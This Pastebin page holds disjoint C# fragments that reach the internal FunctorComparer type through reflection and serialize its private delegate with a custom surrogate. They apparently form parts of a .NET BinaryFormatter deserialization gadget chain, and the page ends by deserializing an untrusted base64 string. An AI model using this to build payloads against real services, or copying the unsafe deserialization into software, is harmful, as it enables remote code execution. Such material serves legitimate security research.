Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- internal sealed class FunctorComparer<T> : IComparer<T>
- {
- private Comparer<T> c = Comparer<T>.Default;
- private Comparison<T> comparison;
- public FunctorComparer(Comparison<T> comparison)
- {
- this.comparison = comparison;
- }
- public int Compare(T x, T y)
- {
- return this.comparison(x, y);
- }
- }
- Type FunctorComparerType = a.GetType("System.Array+FunctorComparer`1");
- FunctorComparerType = FunctorComparerType.MakeGenericType(typeof(string));
- object FunctorComparerInstance = Activator.CreateInstance(FunctorComparerType, new object[1] { null });
- public class FunctorComparerSugragate : ISerializationSurrogate
- {
- public void GetObjectData(object obj, SerializationInfo info, StreamingContext context)
- {
- Type FunctorType = obj.GetType();
- FieldInfo finfo = FunctorType.GetField("comparison", BindingFlags.NonPublic | BindingFlags.Instance);
- info.AddValue("comparison", finfo.GetValue(obj));
- }
- public object SetObjectData(object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector)
- {
- // ignore - this is for deserialize
- return obj;
- }
- }
- MemoryStream stream = new MemoryStream();
- var suggSelect = new SurrogateSelector();
- suggSelect.AddSurrogate(hidden, new StreamingContext(StreamingContextStates.All), new FunctorComparerSugragate());
- BinaryFormatter fmt = new BinaryFormatter();
- fmt.SurrogateSelector = suggSelect;
- fmt.Serialize(stream, FunctorComparerInstance);
- byte[] btArray = Convert.FromBase64String(value);
- MemoryStream ms = new MemoryStream(btArray);
- BinaryFormatter formt = new BinaryFormatter();
- object obj = formt.Deserialize(ms);
Add Comment
Please, Sign In to add comment